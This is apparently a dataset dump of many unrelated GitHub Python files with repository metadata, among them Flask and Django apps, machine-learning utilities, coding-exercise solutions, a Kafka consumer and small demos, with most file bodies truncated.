ffd9e1d60aea67dc8ea2ce9259f0248fd9100619 | 8583747ea4ca50dfb23688db57cd6c4f5c0e755d | /python.py | 6740ce526ffba0517339436a3b275e7722cf877f | [] | no_license | saravana98/python-project | 7014c8ab1927cfff80ed129192e6577a937faf8a | 83c00700ea7ff184779baaa14f2cbefde43261d9 | refs/heads/master | 2021-09-03T08:48:22.054855 | 2018-01-07T18:53:51 | 2018-01-07T18:53:51 | 116,387,605 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,116 | py | import cx_Oracle
class address(object):
def adde(self):
self.details()
def details(self):
print("......................ADDRESS DETAILS................................")
print(" ")
print("ENTER TO SET ADDRESS ID:")
self.getaddressid()
def getaddressid(self):
self.id1... | [
"noreply@github.com"
] | noreply@github.com |
b492ac0fd419681b75149c40b8e8d7670434d040 | bda8bcfbd397c4aa2939c13bb7f7e4d1bfe5e9b8 | /app.py | 2f97588ef3560a3706bc4a109860d6a7c199f49a | [] | no_license | VladKaneivskyi/lab23 | 37ca6378bfd403525d44af690844e4b30fe026b6 | 643a3138250ec93b7670a539106766fc28f544de | refs/heads/master | 2020-08-29T13:29:48.138246 | 2019-10-28T13:22:52 | 2019-10-28T13:22:52 | 218,046,785 | 0 | 0 | null | 2019-10-28T12:56:37 | 2019-10-28T12:56:37 | null | UTF-8 | Python | false | false | 14,693 | py | from flask import render_template, request, redirect, url_for, Flask
from forms.CharacteristicForm import CharacteristicForm
from forms.EditCharacteristicForm import EditCharacteristicForm
from forms.EditGoodsForm import EditGoodsForm
from forms.EditStoreForm import EditStoreForm
from forms.GoodsForm import GoodsForm
f... | [
"vlad16tank"
] | vlad16tank |
ca6f95ccb8191ba74e9a924ab2ad6066006c9a4a | 622d3728c1dd87bea80dd164d156eedb2635a2f1 | /ArtNet.py | 7d18347fa3f9161e384359c6b20a4ab3207af6e3 | [] | no_license | Josverl/ALS | 58d081b45f5567807078ec964111649e176c7195 | fbad28beb11d7817578704bfaa75ccb13821fbf8 | refs/heads/master | 2020-05-25T07:13:56.149593 | 2012-12-11T17:52:15 | 2012-12-11T17:52:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,102 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# Name: luminosus ArtNet library
# Python ArtNet library to send and receive ArtNet data
# Author: Tim Henning
# Copyright 2011 Tim Henning
# Luminosus is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License... | [
"office@audiowerk.at"
] | office@audiowerk.at |
4f286ff92811136f0e5a8eae86b3ab789f7cc07f | 786de89be635eb21295070a6a3452f3a7fe6712c | /CalibManager/tags/V00-00-02/src/GUICalibDirTree.py | 862c14460ee2b3dba4aeab4e61a61435098d92dd | [] | no_license | connectthefuture/psdmrepo | 85267cfe8d54564f99e17035efe931077c8f7a37 | f32870a987a7493e7bf0f0a5c1712a5a030ef199 | refs/heads/master | 2021-01-13T03:26:35.494026 | 2015-09-03T22:22:11 | 2015-09-03T22:22:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,840 | py | #--------------------------------------------------------------------------
# File and Version Information:
# $Id$
#
# Description:
# Module GUICalibDirTree...
#
#------------------------------------------------------------------------
"""GUI works with dark run"""
#------------------------------
# Module's versio... | [
"dubrovin@SLAC.STANFORD.EDU@b967ad99-d558-0410-b138-e0f6c56caec7"
] | dubrovin@SLAC.STANFORD.EDU@b967ad99-d558-0410-b138-e0f6c56caec7 |
5bba02207c62c250554b7ccd8d84a078ebb4e514 | 9522c336a8f802332d17eab6ef27316363a772eb | /lh/SVM.py | fbfc1dcddb61318dbc715dc2db0ed5df579db104 | [
"MIT"
] | permissive | skyf0cker/Statistical_learning_method | e867191fddf7b0aa8781628910ac7e710bcc464e | 8151f3b8595ac086f08d161dc0cb961946f4b7fc | refs/heads/master | 2020-04-17T08:26:28.556687 | 2019-04-02T15:29:07 | 2019-04-02T15:29:07 | 166,412,223 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,471 | py | import numpy as np
import pandas as pd
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
import matplotlib.pyplot as plt
# 产生数据
def create_data():
iris = load_iris()
df = pd.DataFrame(iris.data, columns=iris.feature_names)
df['label'] = iris.target
df.columns =... | [
"vophanlee@gmail.com"
] | vophanlee@gmail.com |
7fc790df3ffa801a443e9017b1e363c273d6a337 | 92f932fd04cdf344e3fa68874e96e7186c770b49 | /scratch/scratch.py | 69d4f7cb4b66dcea62a2c082c2a4e41a1931c22c | [] | no_license | raydennis/python | 831a1fc195fa1a1db6974dd12dce8b689789eaea | 56527faca0f9f026e59f9a888100937b7b790617 | refs/heads/master | 2022-12-21T00:17:49.250559 | 2021-11-08T18:02:27 | 2021-11-08T18:02:27 | 155,884,485 | 0 | 0 | null | 2022-12-08T08:41:47 | 2018-11-02T15:21:11 | Python | UTF-8 | Python | false | false | 34 | py | import os
print(os.listdir("/"))
| [
"raydennis@outlook.com"
] | raydennis@outlook.com |
ec0fac0dd7fb5d9ec32e73aaca40753477667a44 | eb7e993b802d491e3c3470c84d3d0b307ed20b24 | /answers/q29.py | 144c29d760b8f717d1d9ce8616a417ba5b864074 | [] | no_license | XSpursJ/100PythonExercises | b58bcf6c03be377786d2ce97fcdeca1e7325c1d5 | 6fc484ede430b6aa06f115cb541ddb9f9dd6dcf3 | refs/heads/master | 2020-07-17T03:11:20.361815 | 2019-10-28T03:03:01 | 2019-10-28T03:03:01 | 205,929,028 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 277 | py | def printLongerString(s1, s2):
if len(s1) > len(s2):
print(s1)
elif len(s1) < len(s2):
print(s2)
else:
print(s1)
print(s2)
printLongerString('fasd', 'fdsqe')
printLongerString('22222', 'fdsqe')
printLongerString('fasd312', 'fdsqe')
| [
"sxu1988@gmail.com"
] | sxu1988@gmail.com |
826ff5fbda6157abe17679e09c88a2f5ee00718f | 7b2d14f78099fde6c4a35082c9c294d1771cb163 | /Week 8/class_test.py | 53f6096a898910fbe51a1f31c0374884107660a0 | [] | no_license | pinardy/Digital-World | 04c6ddb369ede7295a0891aaaa006486c557965e | dd0a351eb64f05b524b08c47cd0c0ad3eadd775c | refs/heads/master | 2020-12-30T22:45:02.448171 | 2018-01-30T03:06:08 | 2018-01-30T03:06:08 | 80,622,946 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 277 | py | class A:
x = []
def add(self):
self.x.append(1)
class B:
def __init__(self):
self.x = []
def add(self):
self.x.append(1)
x = A()
y = A()
x.add()
print x.x
y.add()
# print "A's x:",x.x
x = B()
y = B()
x.add()
y.add()
# print "B's x:",x.x | [
"pinardy@hotmail.com"
] | pinardy@hotmail.com |
ebfcf78ce6e6cb1501781e5c949522ed4a42e4c7 | 116353f7fbacc39d6081a419518b6ba491952a2b | /download_records.py | 38f456d2f84b0e94510d6690ecc10ff21af48215 | [] | no_license | JohnMulligan/Congressional-Record-Bot | e6bee0c3a0e924159d3f82a391e3489b3d6e3a51 | 0a04b63f1b22a7b9b46eb27f4600a91484507a7d | refs/heads/master | 2021-01-10T20:11:16.220547 | 2015-07-27T01:54:57 | 2015-07-27T01:54:57 | 35,919,783 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,769 | py | import re,urllib,time
from optparse import OptionParser, Option, OptionValueError
import json
import os
parser = OptionParser()
parser.add_option("-u", action="store", type="str", dest="url")
parser.add_option("-s", action="store", type="str", dest="speakername")
(options, args) = parser.parse_args()
def get_page_it... | [
"john.connor.mulligan@gmail.com"
] | john.connor.mulligan@gmail.com |
e009fc66ed157b0ffd03aa37300b4974a344b712 | f971088b29cf382e2f51c98716b826218573bcfb | /parrots-deeplab/uitls/cityscapes_reader.py | ea680db27e5e258fd18f070ddd3d7f25d5ea30df | [] | no_license | yuzhile/flow_propagation | 8a49b400690065e183f41e71f6b686fb9193fd78 | 884c3e218bda8a9e0e6bae7bed35b4246aa5cd66 | refs/heads/master | 2021-01-12T05:59:15.887819 | 2017-03-17T18:14:29 | 2017-03-17T18:14:29 | 77,260,845 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,006 | py |
import random
import numpy as np
from PIL import Image
import cv2
import sys
from multiprocessing import Process, Queue
class CityscapesReader:
'''
Load (input image, label image) pairs from PASCAL VOC
one-at-a-time while reshaping the net to preserve dimensions
Use this to feed data to a fully convo... | [
"yuzhile_study@163.com"
] | yuzhile_study@163.com |
674ebc2b2e8dc6a982b11a093cd632ebdbcdb155 | 919a15e3c20ed92baeb609355c590d749debd24d | /sys_demo.py | 91ad8d29b4a7c7ffa85b12d5fd330671ae2c04ad | [] | no_license | Rocks526/Python-module | 0d8ad0e8c7c902c215ea0f1ad43d1ed9aa0b23d8 | 0ab0fdc1381cf6f80136ced72bc3589a91b9abd2 | refs/heads/master | 2023-02-21T06:08:39.709434 | 2021-01-26T06:20:38 | 2021-01-26T06:20:38 | 328,973,312 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 841 | py | # sys模块示例
import sys
# 实现从程序外部向程序传递参数,返回元组,第一个是程序名
print(sys.argv)
# 返回python版本号
print(sys.version)
# `sys.modules`是一个全局字典,该字典是python启动后就加载在内存中
print(sys.modules)
# 获取系统当前编码,一般默认为ascii。
print(sys.getdefaultencoding())
# 设置系统默认编码 windows下报错
if sys.getdefaultencoding() != 'utf-8':
reload(sys)
sys.setdefault... | [
"lizhaoxuan@qianxin.com"
] | lizhaoxuan@qianxin.com |
4b304a6e1a76ef2a2f7c84a60648ce425b7fb6eb | 4ad94b71e30883d6df07a3277265bd6fb7457ba7 | /python/examples/doc_examples/export/animation_mpeg4.py | 7c73d2ff682be520d5d63b21b8a1722fb7631a24 | [
"MIT"
] | permissive | Tecplot/handyscripts | 7cb1d4c80f323c785d06b0c8d37aeb0acb67f58c | 84a89bfecff5479a0319f08eb8aa9df465283830 | refs/heads/master | 2023-08-22T15:29:22.629644 | 2023-08-12T01:19:59 | 2023-08-12T01:19:59 | 149,826,165 | 89 | 64 | MIT | 2022-01-13T01:11:02 | 2018-09-21T22:47:23 | Jupyter Notebook | UTF-8 | Python | false | false | 2,932 | py | import argparse, os
import tecplot as tp
from tecplot.constant import *
def parse_args():
"""
This script is to be run from the command line and accepts the
following command line arguments. Run this script with "--help"
to see usage and help information.
"""
parser = argparse.ArgumentParser()... | [
"55457608+brandonmarkham@users.noreply.github.com"
] | 55457608+brandonmarkham@users.noreply.github.com |
c78da7117dcedf1bf99a17ac56ba2e9524123fb6 | 1facae2288193f78445593b3b17260d8fa84d945 | /src/find_missing_element.py | 2e5da530c19b3abe459010ed675fba2d06fa8d70 | [
"MIT"
] | permissive | marco-zangari/code-katas | 353336a4db5c4033c44833fb1b8bbb1cc8512a1f | 1dfda1cfbbe8687b17e97e414358b38d964df675 | refs/heads/master | 2021-09-08T06:53:43.284028 | 2018-02-03T02:13:00 | 2018-02-03T02:13:00 | 107,797,028 | 0 | 0 | MIT | 2018-02-03T02:13:01 | 2017-10-21T16:37:51 | Python | UTF-8 | Python | false | false | 671 | py | """Find missing element between two arrays, CodeWars Kata, level 7."""
def missing(arr1, arr2):
"""Return missing element in arr2 that was in arr1.
input = two arrays with integers
output = one integer, i.e. the missing element from arr1
ex. [6, 1, 3, 6, 8, 2], [3, 6, 6, 1, 2] should return 8
ex.... | [
"mjzangari@gmail.com"
] | mjzangari@gmail.com |
236de0d625e60d74d181e3e4a7c9f70b19d02c0d | 5a809d40a91f5504b61626ec02a9304e62291bc0 | /env/lib/python3.6/site-packages/chargebee/version.py | 30cbf0d92a4e12680dbf782cbdd8e9bdc38f1300 | [
"MIT"
] | permissive | Mohitkaushal97/File | 5788bcfd4bb54ad703d82c8184efab8152ae2f09 | 0bc5cca9a557e242861a289af74dfe8b905bc3bd | refs/heads/master | 2022-12-19T03:19:29.213914 | 2020-10-01T06:28:36 | 2020-10-01T06:28:36 | 300,170,604 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18 | py | VERSION = '2.7.4'
| [
"mohit.kaushal@techstriker.com"
] | mohit.kaushal@techstriker.com |
6ae72e6021f67757b723b5c09eafb16b9ad96999 | 29890f78efd04f78c336d5fd741a952590d22f91 | /Trees/binary_search_tree.py | 904ac2420b327c8555730b90710ed706e9f7964d | [] | no_license | Siva-Karthi/ProblemSolvingPractice | d396f497fa7768e0ab49d8fe0376198bc2d2ab5e | 6e8a0306fe4eb6fd2512b858f0ce33657e3ea03f | refs/heads/master | 2023-06-24T04:38:47.698473 | 2023-06-10T17:02:51 | 2023-06-10T17:02:51 | 219,552,342 | 2 | 2 | null | 2021-04-20T19:08:59 | 2019-11-04T17:00:33 | Python | UTF-8 | Python | false | false | 2,854 | py | # [-10,-1,0,1,2,3]
def binary_search(item, arr, L,R) -> int:
"""
take item , get mid index and element of this index as root
if item is the root element , well and good return current index
else if item < root then search on elements which are only left to the root
else if item > root then search o... | [
"sivasubramani612@gmail.com"
] | sivasubramani612@gmail.com |
c7dce3d0fe41eefe9cc4cdce9836470bcf024fc6 | 3bb3f9779755cb2c54d7c25730402f3a3e2ad668 | /api/migrations/0005_auto_20210801_1814.py | ffa0e43b511d8a30bbc157942738446056c5eff4 | [] | no_license | trunghieule0301/demo-luan-van | d1b86ffbb273f9cc77bef791c372538abd27bc11 | 079df0584f9f416b2fe97cde4f7dc1e960869e48 | refs/heads/main | 2023-07-12T03:07:44.530813 | 2021-08-13T16:18:01 | 2021-08-13T16:18:01 | 395,297,825 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 560 | py | # Generated by Django 3.2.5 on 2021-08-01 11:14
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0004_auto_20210801_1812'),
]
operations = [
migrations.AlterField(
model_name='bookcategory',
n... | [
"noreply@github.com"
] | noreply@github.com |
9e97dbe181f34f830ae77441e07246ce7991365b | 684c85a99b4c971c9a1f66b51773cfef8aada949 | /Part I/regex_design.py | 7d08dc868335c8237804015260c5482c9799d2cb | [] | no_license | AmandaHassoun/Regex | c7b208462e5ddb48e0d1894e4ce4ef029658bc38 | 8c324b2cc800ce7f237ef43a3b7d6ac1611b7f5c | refs/heads/master | 2021-01-23T08:39:11.049807 | 2014-11-27T21:42:38 | 2014-11-27T21:42:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,725 | py | class IllegalValueError(Exception):
pass
class Regex:
"""A tree representation of a regex expression."""
def __init__(self: 'Regex', child1: str=None,
child2: str=None):
"""Initilizes a Regex.
"""
self.child1 = child1
self.child2 = child2
def _... | [
"amanda.hassoun@mail.utoronto.ca"
] | amanda.hassoun@mail.utoronto.ca |
27c2c04a17c99e66ff2da5669961a920229061a4 | 877e2359f8926fd3694a35523a027843c6f1df1f | /consumer_key_filter.py | 215671556abf14edb312be8abd3399a0bebf0ac6 | [] | no_license | Raghu-Srungavarapu/dataengineering | 37dc3e93c813c419568f7ebb5638dd0a4c862759 | 90fc7cc11a72f54883d1ee84ef2d913ad63f7f1f | refs/heads/main | 2023-03-10T14:30:22.237372 | 2021-03-01T08:02:35 | 2021-03-01T08:02:35 | 332,083,055 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,026 | py | #!/usr/bin/env python
#
# Copyright 2020 Confluent Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"jsru2@pdx.edu"
] | jsru2@pdx.edu |
abade0c0b8a6d593d76353e9906f86ec19c77ec5 | 10b6482cb3e4794286ccef33dc782762724f4fa1 | /mylogger.py | ae12ba65e98317386c94ebba6369915080261acd | [] | no_license | Gio-404/AutoRuncase | 7b5bed0c4c052c41732a0f960084b3b72ab82c8d | bb44fc99e9e41921e77c53c1fbf96a7ce12aaaa1 | refs/heads/master | 2023-02-01T06:39:32.994736 | 2020-12-06T02:50:44 | 2020-12-06T02:50:44 | 318,831,135 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,090 | py | #!usr/bin/env python3
# coding:utf-8
# Create Date:2019/6/6
import logging
import datetime
from logging import handlers
import os
if not os.path.exists("log"):
os.mkdir("log")
def mylogger():
logger = logging.getLogger('mylogger')
logger.setLevel(logging.INFO)
if not logger.handlers:
rf_ha... | [
"metasploit.exp@qq.com"
] | metasploit.exp@qq.com |
1bb7d1df1bad565d417d2067f6df5e625d992869 | acae6bccb20d3773a9e3238f56b264b925021738 | /Python/SpiderStudy/CrawBaiduStock.py | 6fcf3b0069ab7d9c3ea77b52ad18940c6cf90f06 | [] | no_license | YING1023/python | f8eee418402e42c1539e4a1a6aa1ede27cb9025d | e11d6ebc9ada30c0c5c9187917c97aab77b16652 | refs/heads/master | 2020-03-27T11:07:04.684890 | 2018-08-28T15:56:32 | 2018-08-28T15:56:32 | 146,466,459 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,771 | py | import requests
from bs4 import BeautifulSoup
import traceback
import re
def getHTMLText(url):
try:
r = requests.get(url)
r.raise_for_status()
r.encoding = r.apparent_encoding
return r.text
except:
return ""
def getStockList(lst,stockURL):
html = getHTMLText(stockU... | [
"noidea@efgh.com"
] | noidea@efgh.com |
c4284783d280604ab63f70e50b9ef71fe4a16a08 | 49e3fbd1c978036b59fa3cddddbf504ec42fc402 | /question_app/api/serializers.py | ac5896e8aa043544a1daad3411dfeda6b0a3818a | [] | no_license | tahaenesaslanturk/question_app_backend | 030ff9c99c74c3ec540dda6d091b787b8af9a702 | c08d7f5b4c2cfd7e534dc45700c1a14e307e0e99 | refs/heads/master | 2023-08-15T05:58:51.836759 | 2021-10-14T19:44:59 | 2021-10-14T19:44:59 | 417,262,201 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 643 | py | from django.db.models import fields
from question_app import models
from rest_framework import serializers
class BookSerializer(serializers.ModelSerializer):
class Meta:
model = models.Book
fields = "__all__"
class TagSerializer(serializers.ModelSerializer):
class Meta:
model = mod... | [
"enes.aslanturk@ug.bilkent.edu.tr"
] | enes.aslanturk@ug.bilkent.edu.tr |
8c811480e3fd84ee96f7aee4d58b1106f102e731 | c1ab877bf87df71ca5c5632b92361961cfaf8549 | /GCE_calcs/__init__.py | 055bcb0ffd5372115839413c1db0160a22cc4d7e | [] | no_license | rekeeley/GCE_errors | 9a508063d3968cf44b459195118bd027dd72bdaf | b3658da0c97a75a73bacfc0493025671d19d6859 | refs/heads/master | 2021-01-10T05:08:02.694791 | 2017-09-09T01:11:27 | 2017-09-09T01:11:27 | 44,645,307 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 75 | py | """Bayesian inference of the GCE.
"""
import calculations
import analysis
| [
"ryankeeley@ncanac.local"
] | ryankeeley@ncanac.local |
754c47df7a206038ddbb251f1b001114c5f9cbf4 | 51d9d921ef5d09e69dcef650a26ca7157b4e7b76 | /medseg/dataset_loader/_utils/elastic_transform.py | 88561e52c3affab9826ba0428b5fda978f48a588 | [
"MIT",
"Apache-2.0"
] | permissive | lemoshu/Cooperative_Training_and_Latent_Space_Data_Augmentation | e81a062b33b47bef98a1405355766cc67e3e7c24 | 12c01be8e5ad5862e2345a7cfd54269c7ffdfdc7 | refs/heads/master | 2023-08-06T13:25:13.515831 | 2021-09-29T21:40:14 | 2021-09-29T21:40:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,216 | py | # Created by cc215 at 27/05/19
# perform elastic transform on 2D image data
# for data augmentation
# Enter steps here
# Function to distort image
import SimpleITK as sitk
import numpy as np
from scipy.ndimage.interpolation import map_coordinates
from scipy.ndimage.filters import gaussian_filter
from skimage import t... | [
"chen.chen15@imperial.ac.uk"
] | chen.chen15@imperial.ac.uk |
007bae418417978e2255f9a62e31a313204a4921 | 2bf535666754513417a1c34b8826d904c6e159ff | /ex23_reverse.py | 2a6e2769c4e2f593b8715871eeaa00bd5bf5ccba | [] | no_license | Skitzoidman/lpthw | b26ed31cee40468d207ca31e85be2c198b0615c7 | 973a9dc18d5e1e7c52092db318879582dff0d26f | refs/heads/main | 2020-04-18T02:47:05.878630 | 2019-06-01T15:54:25 | 2019-06-01T15:54:25 | 167,175,712 | 0 | 0 | null | 2019-02-15T20:09:38 | 2019-01-23T11:58:39 | Python | UTF-8 | Python | false | false | 677 | py | import sys
script, input_encoding, error = sys.argv
def main(language_file, encoding, errors):
line = language_file.readline()
if line:
print_line(line, encoding, errors)
return main(language_file, encoding, errors)
def print_line(line, encoding, errors):
next_lang = line.strip()
#enco... | [
"lschmalzl@web.de"
] | lschmalzl@web.de |
525d4db02bf1441bcfcd55601ed44f71be25d8c7 | 26ea23b0f3c35ba9622a7c773674a34519940a2a | /alphabet_mode_main.py | 1dcc26020b1df5ef809c5e90284c8df4e5af75ee | [
"MIT"
] | permissive | Nelson1211/ASLFingerspelling | 1ddbc996c262c88156ebe4031fa7646eca3f9ab5 | 8a751c1d1f80ba33da28a7fee88f1f7f4e318b9d | refs/heads/master | 2022-07-01T15:37:20.273511 | 2020-05-07T06:28:04 | 2020-05-07T06:28:04 | 261,967,969 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,551 | py | import glob
import sys
import cv2
import numpy as np
import os
import tensorflow as tf
from utils import detector_utils as detector_utils
from handshape_feature_extractor import HandShapeFeatureExtractor
import nltk
def get_inference_vector_one_frame_alphabet():
# model trained based on https://www.kaggle.com/mrg... | [
"nelson@Nelsons-MacBook-Pro.local"
] | nelson@Nelsons-MacBook-Pro.local |
b54bfebba6f2f3c86e37f492dbff646783952746 | 61e850215c3b08b10fe7a0d2d390432866852e57 | /api/helpers/teacher_api_helper.py | 53f8e821762d927cac7bcad5e254a2b74562de38 | [] | no_license | juanesarango/teachme-pb | 7e5caa215727159f3f8f30f783949ca34b2a10c3 | f52f311e98473065d88961f7251c2e12960067a7 | refs/heads/master | 2021-01-19T23:06:03.635515 | 2015-06-02T20:58:41 | 2015-06-02T20:58:41 | 88,923,725 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,765 | py | from api.helpers import BaseApiHelper
from api.messages import TeacherResponse
from api.messages import ReviewResponse
from teachme_db import teacher as Teacher
from teachme_db import review as Review
class TeacherApiHelper(BaseApiHelper):
_model = Teacher
def to_message(self, entity):
return Teach... | [
"juanes@MacBook-Pro-de-Andres.local"
] | juanes@MacBook-Pro-de-Andres.local |
8351f9bbeff1a32452d3f7bcd655a58888d2b2ed | db5effbc034ca02140f3695799ea8c950cc3a71a | /python/452_MinimumNumberOfArrowsToBurstBalloons.py | 678abb64f8ac6b05512c1d3fda3e66da7918bc46 | [] | no_license | pktangyue/LeetCode | 8ba9fbb9f86eb5d16ee0ec0915dae4cf6f0a748b | c6fe6ae8ea13cc83525b81876ece92e2eec7b7fd | refs/heads/master | 2021-06-13T23:40:30.056747 | 2021-04-11T09:34:22 | 2021-04-11T09:36:08 | 181,270,893 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 700 | py | from typing import List
class Solution:
def findMinArrowShots(self, points: List[List[int]]) -> int:
if len(points) == 0:
return 0
# 先按照左坐标排序
points.sort(key=lambda v: v[0])
# 第一支箭右坐标,因为排序后箭的左坐标肯定包含气球的左坐标,所以无需考虑
a_x = points[0][1]
num = 1
for v i... | [
"tangyue1004@gmail.com"
] | tangyue1004@gmail.com |
486fa7c9065ad760e3e1f9369eb6288cf44948ac | c2da8baa22f144fbe6d293a588aedc85967f0a8d | /utils/tf_util.py | 0b1eec6caf1a1d744b28f95597d359df756d9a6b | [
"MIT"
] | permissive | jtpils/MFFNet | 66c01ef17f632710a8ce4b417d88ac8d80ce260f | ec517c57d7938c566a0900b79b41822ff1a9ab6f | refs/heads/master | 2020-06-20T12:24:16.872482 | 2019-07-16T03:39:05 | 2019-07-16T03:39:05 | 197,120,966 | 2 | 1 | null | 2019-07-16T04:35:23 | 2019-07-16T04:35:22 | null | UTF-8 | Python | false | false | 21,535 | py | """ Wrapper functions for TensorFlow layers.
Author: Charles R. Qi
Date: November 2017
"""
import numpy as np
import tensorflow as tf
def _variable_on_cpu(name, shape, initializer, use_fp16=False):
"""Helper to create a Variable stored on CPU memory.
Args:
name: name of the variable
shape: list of ints
... | [
"867208887@qq.com"
] | 867208887@qq.com |
2aefdfac91a3a4e24f542010df78c3d574bceae7 | f1a402c8aaa07b519e55ef4373ce2479089dabb4 | /supvisors/tests/test_address.py | 2827a845c612e807378e909fabb8ce3515b794c5 | [
"Apache-2.0"
] | permissive | danh1979/supvisors | 51886e416df1e60f39a8b5bf6cbf2f5b0634a45a | 0ad1ce857750626ccc4b29d109f13ebb5e4f6fdc | refs/heads/master | 2021-01-20T05:57:15.817569 | 2017-02-28T08:06:33 | 2017-02-28T08:06:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,307 | py | #!/usr/bin/python
#-*- coding: utf-8 -*-
# ======================================================================
# Copyright 2016 Julien LE CLEACH
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Lice... | [
"julien.6387.dev@gmail.com"
] | julien.6387.dev@gmail.com |
decdfb899ca9c9c5c51348711ff05ac6caeec6ce | 93273e4108ef71533c18d0db22f24fdf0b81c186 | /newweb/views.py | 80301de2326590000a8a3da481d11df4791a35cb | [] | no_license | jarrishmakingsly/Company-website | 63c7e830be13864dd34bed71772c124dff0b657e | f523a69c760c875a265f4aca8c597dba1a5ff826 | refs/heads/main | 2023-04-20T17:36:06.800457 | 2021-04-27T13:47:17 | 2021-04-27T13:47:17 | 362,107,583 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 760 | py | from django.shortcuts import render,redirect
from .forms import ContactForm
from .forms import Careersview
from django.http import HttpResponse
from .models import contact
# Create your views here.
def app(request):
return render(request, 'index.html',{})
def terms(request):
return render(request, 'terms.html'... | [
"1ms17ec038@gmail.com"
] | 1ms17ec038@gmail.com |
e92d0c62029860d8611615139a3571c151658d54 | 3af16e645b80049082b8fc80d6d4c8bce80ff422 | /examples.py | d47575cab78872802bd8cd20c3596bd2c9ef78b2 | [] | no_license | ercco/NBTW | 4598895435a30efcb4bdea47e29a2bee421d1afc | f303b732b05b6d94c61f4a81610a5a2ec764a2a1 | refs/heads/master | 2021-01-02T05:46:50.768084 | 2020-02-10T16:28:30 | 2020-02-10T16:28:30 | 239,515,958 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 804 | py | import numpy as np
import nbtw
def star_graph(n):
A = np.zeros((n,n))
for ii in range(1,n):
A[0,ii] = 1
A[ii,0] = 1
return A
def complete_graph(n):
return np.ones((n,n))-np.identity(n)
print('All pairwise NBTWs for the star graph, n = 4, k = 2')
print(nbtw.get_nbtws(star_graph(4),2))
... | [
"tarmo.nurmi@aalto.fi"
] | tarmo.nurmi@aalto.fi |
2d959348fb53a3f73acfd66f0441f7e8c6026727 | 813284b9dac4477f4893cb6b30ffafab8e181cc4 | /contrib/linearize/linearize-hashes.py | d09065439ec8c13970e3d8289d3634fc41ad3053 | [
"MIT"
] | permissive | phoenixkonsole/xbtx | 609809c29c32e2c4373a26204480a0e2a9f0922e | 2f9db3d0ca34103e315a5bc9ef2fa2d42cb71810 | refs/heads/master | 2023-05-11T17:37:28.762478 | 2023-05-03T09:54:14 | 2023-05-03T09:54:14 | 243,993,348 | 3 | 11 | MIT | 2023-05-03T09:54:15 | 2020-02-29T15:30:47 | C++ | UTF-8 | Python | false | false | 4,698 | py | #!/usr/bin/env python3
#
# linearize-hashes.py: List blocks in a linear, no-fork version of the chain.
#
# Copyright (c) 2013-2016 The Bitcoin Core developers
# Copyright (c) 2017 The BitcoinSubsidium Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.openso... | [
"william.kibbler@googlemail.com"
] | william.kibbler@googlemail.com |
accbe83a81637eaa3e80bf3d6776e35f9637143e | 46d2b0925475e5c1b59bcf8e59b84c99cd81bee9 | /max_dist.py | 50a5e599b129ac1e97a758ea02c7dc201182f36a | [] | no_license | thatsmeray98/Python-Scripts | cf89f90c72c33d7e913e2935cec4d3aa07b490eb | 2192d78616879f2ace21e6d5840aa11c58172abe | refs/heads/main | 2023-04-25T15:12:14.603712 | 2021-05-16T17:59:01 | 2021-05-16T17:59:01 | 367,950,243 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 553 | py | for i in range(int(input())):
max_range, distances, count = float(input()), [], 0
(x1, y1), (x2, y2), (x3, y3) = map(int, input().split()), map(int, input().split()), map(int, input().split())
first_dist, second_dist, third_dist = ((x1-x2)**2 + (y1-y2)**2)**0.5, ((x2-x3)**2 + (y2-y3)**2)**0.5, ((x3-x1)**2 +... | [
"thatsmeray98@gmail.com"
] | thatsmeray98@gmail.com |
64f154f2543c07b4faee6312896cb26daaacb7ca | 38f2221bf0d334544a79391ebcf0a141f8a7c96b | /Python/magic8.py | 471ffa17366c6edffb622aa6d2c5b500f59676c4 | [] | no_license | joychen5069/newLearning | a60a47aac5a0c77783e9a864bbd343aeb2377ca8 | 672c7f2cbc766f1d8a48b7ab9820fac6d4bf0874 | refs/heads/master | 2023-02-16T04:56:16.665074 | 2021-01-13T19:37:01 | 2021-01-13T19:37:01 | 292,591,402 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 727 | py | import random
def getAnswer(answerNumber):
if answerNumber == 1:
return 'It is certain'
elif answerNumber == 2:
return 'It is decidedly so'
elif answerNumber == 3:
return 'Yes'
elif answerNumber == 4:
return 'Reply hazy try again'
elif answerNumber == 5:
retu... | [
"joychen5069@gmail.com"
] | joychen5069@gmail.com |
